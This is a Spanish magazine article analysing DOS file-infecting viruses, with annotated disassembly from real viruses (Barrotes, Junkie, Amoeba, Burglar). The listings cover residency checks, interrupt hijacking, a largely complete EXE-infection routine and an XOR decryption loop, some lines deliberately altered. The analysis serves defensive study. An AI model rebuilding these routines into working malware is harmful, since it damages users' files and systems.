Continuando con la entrega sobre Virus Informáticos,
este mes se aborda el tema de los virus de ficheros ejecutables:
COMs y EXEs.
Quizás el nombre de "virus de fichero"
no sea el más adecuado. Al fin y al cabo, hay multitud
de ficheros que no pueden infectar los virus. Hay quien prefiere
llamarle "virus de ejecutables", aunque este término
también está en debate puesto que un sector de arranque
es, sin la menor duda, también ejecutable. Y luego están
lo virus de macros de Word o Excel, que son indudablemente virus
de ficheros, aunque esos ficheros son de datos y no son ejecutables...
De cualquier forma, no se dedicará aquí más
espacio del estrictamente necesario a disquisiciones semánticas,
sino que se empezará inmediatamente con el estudio de los
virus que afectan a ficheros ejecutables en el entorno DOS/Windows.
MISMA FILOSOFÍA, DISTINTO CAMPO
Como se recordará de la entrega anterior,
los virus informáticos, a diferencia de sus homólogos
biológicos, son incapaces de cualquier acción hasta
que alguien -directa o indirectamente- los ejecuta. En un principio
el creador del virus los ejecutará directamente y entonces
empezarán su proceso de infección, a partir del
cual ya se ejecutarán de forma indirecta, sea en un sector
de arranque o como "mochila" de otro programa.
Si antes el virus se interponía en el arranque
normal de la máquina y suplantaba al sector de arranque
o MBR originales, aquí lo que hará será modificar
los ejecutables con objeto de "colar" su propio código
entre el de estos. La forma en que lleva a cabo estas acciones
y las posibilidades a la hora de actuar se ven sustancialmente
favorecidas en relación a las de los virus de arranque
por el hecho de que el sistema operativo se encuentre ya cargado
y tiene a su disposición todas las rutinas de gestión
de memoria o procesamiento de ficheros que éste ofrece.
Por eso el virus ya no tendrá que hacer cálculos
con cilindros, cabezas y sectores, sino que cuenta con un nivel
de abstracción más y podrá permitirse el
lujo de decir cosas como "abre el fichero, colócate
al final y añade mi código ahí". Para
una breve introducción a la forma en que se accede a los
servicios del sistema operativo desde programas DOS/Windows, véase
el cuadro "El DOS por dentro".
El DOS por dentro |
Un sistema operativo es mucho más que la shell
(el command.com). Es un conjunto de servicios que significan una
abstracción sobre el hardware subyacente y que ofrecen
una máquina virtual sobre la que trabajar sin preocuparse
con detalles de bajo nivel. El DOS (y Windows, no se piense que
cuanto se cuenta en éste artículo es exclusivo del
DOS: en Windows y Windows 95 se accede a los mismos servicios
y con los mismos convenios... aunque las windows añadan
alguno más) trata de dar estos servicios a través
de la Interrupción 21h. El convenio es que el número
de la función o servicio que se solicita se introduce en
AH. Los restantes parámetros varían según
la función de que se trate y se colocan en otros registros,
aunque se trata -casi siempre al menos- de que haya una cierta
uniformidad. Así, las funciones que operan con ficheros
suelen requerir que se les pase el "handle" o identificador
de fichero en BX, en AX se devuelve el código de error
si el flag de acarreo (CF) vuelve activado, etc... Es necesario
para entender lo que hace un virus proveerse de una buena lista
que especifique los parámetros y significados de los valores
que espera y devuelve cada función dentro de cada interrupción.
|
En vez de explicar directamente cómo hacen
los virus para meterse dentro de otros ficheros ejecutables, y
de ahí saltar desordenadamente a explicar otros aspectos
igualmente importantes, parece más didáctico seguir
el flujo de acciones normal de un virus desde que empieza a ejecutarse,
aunque ahora mismo no sepamos muy bien cómo ha hecho para
que la CPU le dé la ejecución a él y no al
código del programa que queríamos usar. El caso
es que CS:IP apunta a la primera instrucción del virus.
Luego se verá por qué.
MMM, ¿ESTOY SOLO?
La primera acción que suelen emprender los
virus es la de comprobar si se ha ejecutado con anterioridad otra
copia de él mismo y, por tanto, se ha hecho ya con el control
del sistema. En tal caso -normalmente- el virus hace que se ejecute
el programa anfitrión, el que el usuario pretendía
que de hecho se ejecutara, y deja que la anterior copia de sí
mismo que está ya en memoria haga lo que le corresponda.
La forma más habitual de llevar a cabo esto es mediante
una llamada a la interrupción desviada por el virus -muchas
veces la INT 21h, la que proporciona la gran mayoría de
los servicios que ofrece el DOS- con un número de función
inexistente entre esos servicios. Ante un caso así, si
el virus no controla la interrupción 21h -si no está
residente- el SO retorna con los registros sin modificación
alguna, excepto AL, que queda a cero. Lo único que hace
el virus, por tanto, es definirse un protocolo en el que llama
al comienzo a una función inexistente y -si está
ya residente- se compromete a devolver unos valores concretos
en alguno de los registros.
Veamos cómo hace esto el virus barrotes:
16B9:06DF B4EE MOV AH,EE ; No hay ninguna función EEh en la INT 21h
16B9:06E1 CD21 INT 21
16B9:06E3 3CFE CMP AL,FE
16B9:06E5 7503 JNZ 06EA
16B9:06E7 E9BA00 JMP 07A4 ; Mmm, no devuelve un 0... Debo estar ya en memoria.
Algunos virus, más perversos, incluyen un
nivel de sofisticación mayor. Tratan de evitar que cualquier
programa tonto (unas diez lineas de ensamblador) pueda -como en
este caso- comprobar que el virus Barrotes se encuentra en memoria
con sólo llamar a la interrupción 21h poniendo EEh
en AH y comprobando si AL vale FEh a la salida. Peor incluso:
alguien podría hacer un mini-residente que contestara a
las llamadas a funciones inexistentes con los valores esperados
por decenas de virus conocidos, impidiendo que estos se hicieran
residentes al creer que ya lo son. Para evitar esto, el virus
pone en otro registro un número aleatorio que cambia en
cada llamada, y la rutina debe responder de forma distinta cada
vez, según el valor que se le haya pasado. Si lo que debe
devolver es el valor de alguna variable del propio virus que cambia
continuamente, la complicación para el programita que trata
de engañarle es aún mayor... y además los
resultados no suelen ser especialmente agradables cuando el virus
detecta que tratan de engañarle. Por tanto es recomendable
actuar con prudencia y estudiar muy bien el virus antes de hacer
este tipo de programas-trampa.
Evidentemente, no todos los virus son residentes
en memoria, aunque esto es mucho más efectivo -desde el
punto de vista del virus, claro- ya que se puede actuar en cualquier
momento que se produzca la interrupción que se ha redireccionado,
y no sólo cuando se ejecute un programa infectado.
Otros virus, los que se denominaron "multipartite"
en [Virus-1] por infectar tanto ficheros ejecutables como sectores
de arranque, se ven obligados a hacer una comprobación
más curiosa: "¿qué tipo de virus soy hoy?
¿De arranque, ejecutable ?" El virus Junkie resuelve
el problema de la siguiente manera:
16B9:C9AF 8CC8 MOV AX,CS
16B9:C9B1 3D0000 CMP AX,0000
16B9:C9B4 7421 JZ C9D7
Si el segmento de código del virus es el 0,
no cabe duda de que se está ejecutando como virus de arranque
(Véase [Virus-2.I] y [Virus-2.II]).
VUELTA AL PROGRAMA ORIGINAL
Bien sea porque el virus ya se encontraba en memoria
o porque ya ha hecho cuanto necesitaba para asegurarse su futuro
dentro del sistema, antes o después tiene que hacer que
el programa original se ejecute de forma transparente. Y más
vale que sea antes que después para no dar al usuario indicios
de que algo extraño está ocurriendo. Este punto
es sumamente importante, puesto que en él se descubre dónde
comenzaba el programa realmente y, por tanto, permitirá
reparar el fichero dañado restableciéndole a su
estado original. Aquí sí es necesario conocer la
estructura interna de los ejecutables, que varía de los
COM a los EXE. Véanse los cuadros adjuntos que explican
su estructura.
La dirección del programa original la tuvo
que guardar el virus dentro de su espacio de datos en el proceso
de infección. En algunos virus se puede sacar este punto
de inicio por simple inspección, leyendo el código.
Es este el caso de, por ejemplo, el Junkie nuevamente:
16B9:C9B6 BF0001 MOV DI,0100
16B9:C9B9 C705EB59 MOV WORD PTR [DI],59EB
16B9:C9BD C745029058 MOV WORD PTR [DI+02],5890
16B9:C9C2 0E PUSH CS
16B9:C9C3 57 PUSH DI
Lo que ha copiado a la posición CS:100h (punto
de entrada de todos los ficheros COM) no son datos: es código.
El siguiente:
16B9:0100 EB59 JMP 015B
16B9:0102 90 NOP
16B9:0103 58 POP AX
El PUSH CS; PUSH DI es para hacer luego un RETF,
y que se ejecute lo que haya en CS:DI, es decir el JMP y por ende,
el programa.
En otros casos, detectar a simple vista la dirección
de inicio no es tan fácil, y se hace necesario ejecutar
paso a paso con debug el virus (saltándose, claro está,
las comprobaciones para ver si está residente, los efectos
no deseados, etc) para hacerle llegar al punto en el que se ha
visto que el virus salta al programa, pero donde nos falta el
valor de algún registro o posición de memoria. Es
el caso, por ejemplo, del virus AMOEBA:
16B9:5BA4 BCFEFF MOV SP,FFFE
16B9:5BA7 8B976D01 MOV DX,[BX+016D]
16B9:5BAB 89160001 MOV [0100],DX
16B9:5BAF 8B976F01 MOV DX,[BX+016F]
16B9:5BB3 89160201 MOV [0102],DX
16B9:5BB7 BB0001 MOV BX,0100
16B9:5BBA 8BD1 MOV DX,CX
16B9:5BBC 53 PUSH BX
16B9:5BBD 8BDA MOV BX,DX
16B9:5BBF C3 RET
REDIRECCIONANDO INTERRUPCIONES
Lo primero que suele hacer un virus una vez que ha
comprobado que no se encuentra en memoria es asegurarse que más
adelante pueda recuperar el control del ordenador. Como se ha
apuntado ya, la forma más fácil de conseguirlo es
redireccionar alguna interrupción para que se ejecute código
vírico cada vez que esta sea llamada. Esto que se comenta
no es nada nuevo: ya lo hacían todos los virus de arranque
con la interrupción 13h, la encargada de gestionar los
accesos a disco duro y disquete.
Recuérdese de entonces que las direcciones
de las rutinas de atención a interrupciones -también
llamadas vectores de interrupción- se encuentran a partir
de la dirección 0000:0000, y que al estar formados por
segmento:desplazamiento, se puede localizar la dirección
de una rutina con leer a partir de la dirección 0000:numero
de interrupción * 4. Debido al convenio de almacenamiento
de palabras en memoria usado por Intel (conocido como "Little
Endian") la primera palabra a partir de esa dirección
corresponde al desplazamiento y la siguiente (dos bytes más
arriba) al segmento. Los virus de arranque leían y cambiaban
estas direcciones directamente. Los de ejecutables pueden optar
-lógicamente- por hacer lo propio, aunque cuentan además
con dos servicios proporcionados por el sistema: la función
35h para obtener el vector de una interrupción y la 25h
para cambiarlo. El virus Barrotes es un ejemplo muy didáctico
en este aspecto porque utiliza los dos métodos (!) y, sorprendentemente,
emplea la INT 21h para leer el vector -que es la operación
menos peligrosa-, y en cambio lo cambia "a pelo" con
el consiguiente peligro si se produce una interrupción
habiendo cambiado el desplazamiento pero antes de ser capaz de
cambiar el segmento:
09F7:0387 0E PUSH CS
09F7:0388 1F POP DS
09F7:0389 B82435 MOV AX,3524 ; AL == No de interrupcio'n
09F7:038C CD21 INT 21
09F7:038E 2E CS:
09F7:038F 891E0A01 MOV [010A],BX ; BX == desplazamiento original
09F7:0393 2E CS:
09F7:0394 8C060C01 MOV [010C],ES ; ES == segmento original
09F7:0398 33C0 XOR AX,AX ; Segmento 0: parece que va a hacer
09F7:039A 8EC0 MOV ES,AX ;algo con vectores de interrupción
09F7:039C 8D167801 LEA DX,[0178] ; DS:DX == nueva dirección
09F7:03A0 26 ES:
09F7:03A1 89169000 MOV [0090],DX ; 90h == 24h * 4
09F7:03A5 26 ES:
09F7:03A6 8C1E9200 MOV [0092],DS ; 92h == 24h * 4 + 2
En este caso cambia una interrupción, no para
"perpetuarse en el poder", sino para protegerse de sí
mismo: la 24h es la interrupción de tratamiento de errores
críticos, la que presenta el conocido mensaje de: "Cancelar,
Reintentar o Ignorar". Casi todos los virus la redireccionan
para que si provocan un error mientras hacen sus manipulaciones,
el usuario no sospeche. A más de uno le extrañaría
un error de escritura en disquete cuando él no ha usado
para nada la disquetera. La nueva rutina es casi siempre:
09F7:0333 B003 MOV AL,03
09F7:0335 CF IRET
El 3 devuelto en AL indica que se cancele la operación
en curso, pero sólo es una respuesta válida a partir
de la versión 3.1 del DOS, y muchos virus la usan sin comprobarlo.
Los ficheros COM |
Son extremadamente simples: Constan tan sólo
de un segmento (64 Kbytes) de memoria a repartirse entre código,
datos y pila (stack). Por ello al ejecutarse un COM el valor de
CS, DS, ES y SS es el mismo, y sólo depende de la memoria
que quede libre en el sistema. Así que el SO le asigna
un segmento libre, coloca un PSP (Program Segment Prefix) en el
desplazamiento 0, y el fichero en sí a partir de la dirección
100h, empezándolo a ejecutar a partir de ahí.
Generalmente la primera instrucción de los
COM (la que se coloca en CS:100h) es un JMP a otra zona donde
está todo el código y después del JMP hay
datos. Muchos virus confían en esta suposición y
alteran los 3 primeros bytes del fichero para que apunten al virus,
pero nada obliga a que en CS:100h haya un JMP, así que
la información que guardan antes de sobreescribir esos
3 primeros bytes puede no ser la de inicio real del programa,
y tras la infección el COM seguramente se colgará.
Pocos virus se aseguran de que el primer código
del fichero sea un EBh o un E9h (código máquina
del JMP).
|
Los ficheros EXE |
Solucionan las limitaciones de los COM a costa de
una mayor complejidad. Ahora se tienen múltiples segmentos,
así que un EXE puede ser mucho mayor de 64 Kb. Para poder
hacer referencias dentro del programa a unos segmentos que el
propio sistema asignará en tiempo de ejecución dentro
de las zonas de memoria que tenga libres -y que, por tanto, son
desconocidas a priori- es necesario colocar una cabecera al comienzo
de los EXE. Esta zona es la que modifican todos los virus para
hacer que el comienzo pase a estar en el código del virus
y no en el del programa en sí.
|
Cabecera de un archivo EXE. |
Desplazamiento |
Descripción |
00h |
Caracteres 'MZ' (4Dh, 5Ah): Identificador de fichero EXE.
|
02h |
Resto : longitud del fichero MOD 512.
|
04h |
Número de páginas: longitud del fichero DIV 512.
|
06h |
Número de direcciones de segmento a reubicar.
|
08h |
Tamaño de la cabecera en párrafos (1 párrafo = 16 bytes).
|
0Ah |
Nº mínimo de párrafos de memoria para cargar el fichero.
|
0Ch |
Nº máximo de párrafos de memoria para cargar el fichero.
|
0Eh |
SS inicial al cargar el EXE.
|
10h |
SP inicial al cargar el EXE.
|
12h |
Suma de control o "checksum" de la cabecera. El DOS no la comprueba para nada y muchos virus la utilizan para marcar los ficheros que ya han infectado. Así no los infectan dos veces.
|
14h |
IP inicial al cargar el EXE. El virus lo modifica para que al cargar el programa se ejecute antes el virus.
|
16h |
CS inicial al cargar el EXE. También lo modifica el virus.
|
18h |
Offset de comienzo de la tabla de reubicación.
|
1Ah |
Número de overlay. |
LA INFECCIÓN
Un virus que no infecte otros ficheros no tiene especial
gracia. Es más: ni siquiera sería considerado un
virus. Junto con el apartado que explicaba cómo localizar
la posición de inicio real del programa infectado, ésta
es quizás la parte más importante del artículo,
porque sólo aprendiendo la forma en que se producen las
infecciones se puede dar uno cuenta de si las medidas que cree
seguras contra los virus -como hacer los ficheros de sólo
lectura o vigilar su fecha de modificación y/o tamaño
lo son realmente o, como se verá enseguida, resultan totalmente
inútiles. De nuevo, la vieja máxima: "Para
enfrentarte a tu enemigo, conócelo primero".
Ya se ha dicho que los ficheros COM y EXE no tienen
distinta extensión por capricho, sino que detrás
se esconden profundas diferencias en cuanto a concepción
y estructura. Es lógico que por ello las operaciones empleadas
para modificarlos añadiéndoles el código
vírico sean distintas.
En los EXE, por ejemplo, se hace imprescindible modificar
su cabecera. Pero a pesar de ello numerosas operaciones son comunes
a ámbos formatos. Como ejemplo se estudiará el proceso
de infección del virus Burglar. Sólo infecta EXEs,
pero como los COM son más sencillos, puede resultar suficientemente
didáctico. Una nota importante: para dificultar su tarea
a los antivirus usa una técnica curiosa. Llama una única
vez al código de la INT 21h (CDh 21h) y cada vez que necesita
usar esta interrupción hace un CALL a la subrutina 00B8h,
pero además con los registros AH y AL intercambiados con
respecto a lo que espera la INT 21h. Así que cada CALL
00B8 debe ser interpretado como: XCHG AH,AL; INT 21. El autor
confía en que no resulte especialmente confuso y en que
ayude a pensar en las dificultades a que se puede uno enfrentar
al estudiar código vírico (algunas líneas
han sido deliberadamente alteradas con propósitos púramente
didácticos). Obsérvese la inutilidad de poner atributos
de sólo lectura a los ficheros o de mirar la hora de modificación,
ya que igual que se ponen... se pueden quitar.
0CA9:01D1 B84300 MOV AX,0043 ;Obtener atributos del fichero
0CA9:01D4 E8E1FE CALL 00B8 ; (sólo lectura, oculto, etc)
0CA9:01D7 1E PUSH DS
0CA9:01D8 52 PUSH DX
0CA9:01D9 51 PUSH CX; ; Guardarlos en la pila para poderlos restaurar tras la infección
0CA9:01DA 33C9 XOR CX,CX ;Nuevos atributos: todos a 0
0CA9:01DC B84301 MOV AX,0143 ;Pone los nuevos atributos
0CA9:01DF E8D6FE CALL 00B8
0CA9:01E2 7308 JNB 01EC
0CA9:01E4 2E CS:
0CA9:01E5 FE063405 INC BYTE PTR [0534]
0CA9:01E9 EB65 JMP 0250
0CA9:01EB 90 NOP
0CA9:01EC B83D02 MOV AX,023D ;Abrir fichero para lectura/escritura
0CA9:01EF E8C6FE CALL 00B8
0CA9:01F2 7309 JNB 01FD
0CA9:01F4 2E CS:
0CA9:01F5 FE063405 INC BYTE PTR [0534]
0CA9:01F9 EB55 JMP 0250
0CA9:01FB 90 NOP
0CA9:01FC 90 NOP
0CA9:01FD 93 XCHG BX,AX
0CA9:01FE B85700 MOV AX,0057 ;Obtener la fecha y la hora y guardarlos para poderlos restaurar
0CA9:0201 E8B4FE CALL 00B8
0CA9:0204 2E CS:
0CA9:0205 890E2905 MOV [0529],CX ; CX == hora
0CA9:0209 52 PUSH DX ; DX == fecha
0CA9:020A 90 NOP
0CA9:020B 0E PUSH CS
0CA9:020C 1F POP DS
0CA9:020D 0E PUSH CS
0CA9:020E 07 POP ES
0CA9:020F B03F MOV AL,3F ; Lee primeros 102 (66h) bytes
0CA9:0211 BA7F04 MOV DX,047F
0CA9:0214 B96600 MOV CX,0066
0CA9:0217 E89EFE CALL 00B8
0CA9:021A A17F04 MOV AX,[047F] ; AX == 2 primeros bytes del fichero
0CA9:021D 90 NOP
0CA9:021E 3D5A4D CMP AX,4D5A
0CA9:0221 90 NOP
0CA9:0222 7409 JZ 022D
0CA9:0224 3D4D5A CMP AX,5A4D ; ¿Es un EXE? (cadena "MZ")
0CA9:0227 90 NOP
0CA9:0228 7403 JZ 022D
0CA9:022A EB14 JMP 0240
0CA9:022C 90 NOP
0CA9:022D A09304 MOV AL,[0493] ; [0493] == checksum de la cabecera
0CA9:0230 3478 XOR AL,78
0CA9:0232 38069104 CMP [0491],AL ; ¿Está ya infectado?
0CA9:0236 7408 JZ 0240
0CA9:0238 EB2E JMP 0268
0CA9:023A 90 NOP
0CA9:023B 830E29051D OR WORD PTR [0529],+1D
Cuando se llega aquí el fichero ya está
infectado o bien se ha terminado de infectar. Se le reponen los
atributos de fichero y su fecha de modificación:
0CA9:0240 5A POP DX ; Repone la fecha y la
0CA9:0241 8B0E2905 MOV CX,[0529] ; hora originales del
0CA9:0245 B85701 MOV AX,0157 ; fichero
0CA9:0248 E86DFE CALL 00B8
0CA9:024B B03E MOV AL,3E ; Cerrar fichero
0CA9:024D E868FE CALL 00B8
0CA9:0250 B84301 MOV AX,0143 ; Reponerle atributos originales
0CA9:0253 59 POP CX
0CA9:0254 5A POP DX
0CA9:0255 1F POP DS
0CA9:0256 E85FFE CALL 00B8
Si no estaba aún infectado... se infecta:
0CA9:0291 B002 MOV AL,02
0CA9:0XXX 33C9 XOR CX,CX
0CA9:0XXX 33D2 XOR DX,DX
0CA9:0XXX B442 MOV AH,42
0CA9:0XXX CD21 INT 21 ;Colocarse al final del fichero
0CA9:0296 83FA06 CMP DX,+06 ;DS:DX nuevo puntero en el fichero
0CA9:0299 77A5 JA 0240
0CA9:029B 0BD2 OR DX,DX ; Si el fichero
0CA9:029D 7507 JNZ 02A6 ; ocupa menos
0CA9:029F 3D0001 CMP AX,0100 ; de 256 bytes... no lo infectamos
0CA9:02A2 7702 JA 02A6
0CA9:02A4 EB9A JMP 0240
El código que sigue recalcula la nueva cabecera
para el EXE. Por cuestiones de espacio se deja al lector como
ejercicio su análisis detallado. Simplemente téngase
en cuenta que SI apunta al primer byte de la cabecera, y véase
el cuadro explicativo sobre la estructura de esta.
0CA9:02A6 52 PUSH DX
0CA9:02A7 50 PUSH AX
0CA9:02A8 8B4404 MOV AX,[SI+04]
0CA9:02AB 8B7C02 MOV DI,[SI+02]
0CA9:02AE 0BFF OR DI,DI
0CA9:02B0 7401 JZ 02B3
0CA9:02B2 48 DEC AX
0CA9:02B3 B90002 MOV CX,0200
0CA9:02B6 F7E1 MUL CX
0CA9:02B8 03C7 ADD AX,DI
0CA9:02BA 83D200 ADC DX,+00
0CA9:02BD 5F POP DI
0CA9:02BE 3BF8 CMP DI,AX
0CA9:02C0 5F POP DI
0CA9:02C1 75E1 JNZ 02A4
0CA9:02C3 3BFA CMP DI,DX
0CA9:02C5 75DD JNZ 02A4
0CA9:02C7 50 PUSH AX
0CA9:02C8 52 PUSH DX
0CA9:02C9 56 PUSH SI
0CA9:02CA BE8D04 MOV SI,048D
0CA9:02CD BF0304 MOV DI,0403
0CA9:02D0 B90A00 MOV CX,000A
0CA9:02D3 F3 REPZ
0CA9:02D4 A4 MOVSB
0CA9:02D5 5E POP SI
0CA9:02D6 33FF XOR DI,DI
0CA9:02D8 E81D01 CALL 03F8
0CA9:02DB B91000 MOV CX,0010
0CA9:02DE F7F1 DIV CX
0CA9:02E0 2B4408 SUB AX,[SI+08]
0CA9:02E3 894416 MOV [SI+16],AX
0CA9:02E6 89166003 MOV [0360],DX
0CA9:02EA 895414 MOV [SI+14],DX
0CA9:02ED 81C27E04 ADD DX,047E
0CA9:02F1 895410 MOV [SI+10],DX
0CA9:02F4 89440E MOV [SI+0E],AX
0CA9:02F7 5A POP DX
0CA9:02F8 58 POP AX
0CA9:02F9 057E04 ADD AX,047E
0CA9:02FC 83D200 ADC DX,+00
0CA9:02FF B90002 MOV CX,0200
0CA9:0302 F7F1 DIV CX
0CA9:0304 0BD2 OR DX,DX
0CA9:0306 7401 JZ 0309
0CA9:0308 40 INC AX
0CA9:0309 894404 MOV [SI+04],AX
0CA9:030C 895402 MOV [SI+02],DX
Lo siguiente no es evidente, y además es particular
de este virus: utiliza el campo de checksum de la cabecera EXE
( [SI+12] ) como marca de que el fichero ya está infectado.
0CA9:030F 8A4414 MOV AL,[SI+14]
0CA9:0312 3478 XOR AL,78
0CA9:0314 884412 MOV [SI+12],AL
0CA9:0317 33D2 XOR DX,DX ;Añade el código del virus al
0CA9:0319 B97E04 MOV CX,047E ; final del fichero. En un COM
0CA9:031C B440 MOV AH,40 ; sería igual
0CA9:031E CD21 INT 21
0CA9:0320 C606340503 MOV BYTE PTR [0534],03
0CA9:0325 B000 MOV AL,00
0CA9:0327 E83500 CALL 035F ; Pone el puntero al comienzo del fichero
0CA9:032A BA7F04 MOV DX,047F
0CA9:032D B91800 MOV CX,0018 ; Escribe la cabecera. En un COM
0CA9:0330 B440 MOV AH,40 ; cambiaría el JMP del principio
0CA9:0332 CD21 INT 21
0CA9:0334 B42C MOV AH,2C ;Obtiene la hora. Si no es el
0CA9:0336 CD21 INT 21 ; minuto 14 (0Eh) lo cierra y le
0CA9:0338 80F90E CMP CL,0E ; repone los atributos. Si lo es,
0CA9:033B 75XX JNZ 0240 ; muestra antes un mensaje.
PIEDRAS EN EL CAMINO
Por último, sólo señalar que
muchos virus tratan de dificultarle la vida a los antivirus mediante
técnicas de encriptación y polimorfismo, generalmente
autoencriptándose haciendo XOR con un valor aleatorio y
distinto en cada infección al resto de su propio código.
Como muestra un botón, tomado del Junkie:
09F7:C9A0 BEAFC9 MOV SI,C9AF ; SI -> comienzo del código encriptado
09F7:C9A3 B9F401 MOV CX,01F4 ; Nº de words a desencriptar
09F7:C9A6 26 ES:
09F7:C9A7 813469CA XOR WORD PTR [SI],CA69
09F7:C9AB 46 INC SI
09F7:C9AC 46 INC SI
09F7:C9AD E2F7 LOOP C9A6
Por tanto, para poder hacer todos los análisis
explicados en este artículo, es necesario previamente desencriptarlo
tan simplemente como llevando el DEBUG a la dirección de
inicio de la rutina desencriptadora y ejecutándola.
REFERENCIAS
[Virus-1] Introducción a los virus informáticos.
Programación Actual. Número 6.
[Virus-2.I] "Virus de arranque (I)". Programación Actual. Número 8.
[Virus-2.II] "Virus de arranque (II)". Programación Actual. Número 9.